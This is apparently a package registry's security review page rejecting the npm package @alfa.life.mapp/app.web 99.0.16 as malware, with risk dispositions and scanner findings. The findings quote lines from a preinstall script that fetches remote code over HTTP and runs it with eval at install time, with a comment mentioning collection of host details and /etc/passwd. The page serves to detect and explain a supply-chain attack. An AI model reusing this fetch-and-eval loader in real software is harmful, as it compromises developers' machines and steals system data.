All @alfa.life.mapp/app.web versions

@alfa.life.mapp/app.web @99.0.16

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.8 KB
Package Size
Published

app.web utilities

Maintainers

m0ntana

Risk Dispositions (4 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:preinstall install-scripts reject AI AI (install-scripts): Preinstall fetches and evals remote code — active malware delivery mechanism, not a legitimate build step.
semgrep:etc-passwd-access semgrep reject AI AI (semgrep): Code explicitly harvests /etc/passwd and system info; credential theft is the stated purpose of the fetched payload.
semgrep:eval-usage semgrep reject AI AI (semgrep): eval() is used to execute remotely fetched code at install time — core of the malware execution chain.
bogus-package bogus-package reject AI AI (bogus-package): Package is a throwaway malware vehicle: 0-day age, new publisher, no repo, empty main, inflated version number.

SAST Findings (8)

CRITICAL Package has 'preinstall' script install-scripts

[Always reject] Script: node preinstall.js

CRITICAL Low-value / spam package indicators (6 signals, score 8) bogus-package

[Always reject] Matched 6 signal(s), weighted score 8: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_KEYWORDS] No keywords declared. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2010 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

CRITICAL MAL-2026-3052: Malicious code in @alfa.life.mapp/app.web (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (7ac6d0f18e7e372158e7106291eaed64ec2a6bee678aa033a2ef8f955396625d) The OpenSSF Package Analysis project identified '@alfa.life.mapp/app.web' @ 99.0.15 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

CRITICAL etc-passwd-access: poc.preinstall.js:13 semgrep

[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

CRITICAL eval-usage: poc.preinstall.js:17 semgrep

[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });

CRITICAL etc-passwd-access: preinstall.js:13 semgrep

[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

CRITICAL eval-usage: preinstall.js:17 semgrep

[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 283). Findings: 7 critical (+280), 1 low (+3).

Published to npm: